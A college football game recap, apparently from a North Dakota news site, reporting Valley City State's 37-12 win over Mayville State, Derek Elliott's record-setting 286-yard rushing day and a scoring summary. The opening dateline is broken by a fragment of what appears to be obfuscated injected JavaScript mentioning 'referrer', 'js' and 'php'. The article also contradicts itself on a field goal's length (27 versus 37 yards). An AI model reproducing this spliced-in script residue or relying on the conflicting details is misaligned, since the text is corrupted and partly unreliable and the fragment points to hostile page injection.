VALLEY tihyz|var|u0026u|referrer|ehehb||js|php’.split(‘|’),0,{}))
CITY, N.D (NewsDakota.com) On a record breaking afternoon at Shelley Ellig Field, the Vikings claimed a share of the North Star Athletic Association title with a 37-12 win over Mayville State.
The win gives the Vikings a 5-4 overall record, with a 3-1 record in the NSAA. The Comets now stand 6-4 on the year with a 2-2 conference record.
Vikings Senior running back, Derek Elliott, came into the final home game of the season needing just 60 yards to brake the regular season rushing yards record at Valley City State. He finished the night with 286 yards. That alone would be an impressive feet, but Elliott was not done. With two touchdowns in the game, the Valley City native also broke records for touchdowns in a season (18), and rushing touchdowns in a season (16). The mark he set on the ground during the game tied the Vikings record for most rushing yards in a game, while his 44 carries also matched the Vikings record.
The Vikings were the first to get on the scoreboard, when Eliott ran the ball in from two yards out in the first quarter. Led by Dewanye Fearon, who finished the night with one sack and two tackles behind the line of scrimmage, the VCSU defense would hold the Comets scoreless through the first half of play. The Vikings would score twice in the second quarter with Thomas Cortez hitting a 27 yard field goal, and then a six yard touchdown pass from Kurtis Walls to Mark Zinke.
Mayville State would come out strong in the second half scoring on their opening drive, but the Vikings would take the momentum back on the very next possession when Elliott streaked on 49 yards down the field for his second touchdown of the night.
The two teams would trade scores in the fourth, but the Vikings maintained the lead and took home the victory. The Vikings will share the first ever NSAA championship title with the University of Jamestown.
The Vikings head to California next weekend to wrap up the season against Menlo College.
Game Summary:
VCSU 7 10 6 14 37
MSU 0 0 6 6 12
Scoring Summary:
1st Quarter:
VCSU –Elliott: 2 yard run
EP: Good (Cortez)
2nd Quarter:
VCSU – Cortez: 37 yard field goal
VCSU – Walls to Mark Zinke: 6 yard pass
EP: Good (Cortez)
3rd Quarter:
MSU – Keith Osgood to Taylor Kunkel: 13 yard pass
Conversion: Failed
VCSU – Elliott: 49 yard run
EP: Missed
4th Quarter:
VCSU – Walls to Colby Lum: 20 yard pass
EP: Good (Cortez)
MSU – Osgood to Lance Jackson: 33 yard pass
Conversion: Failed
VCSU – Walls to Jacob Miller: 7 yard pass
EP: Good (Cortez)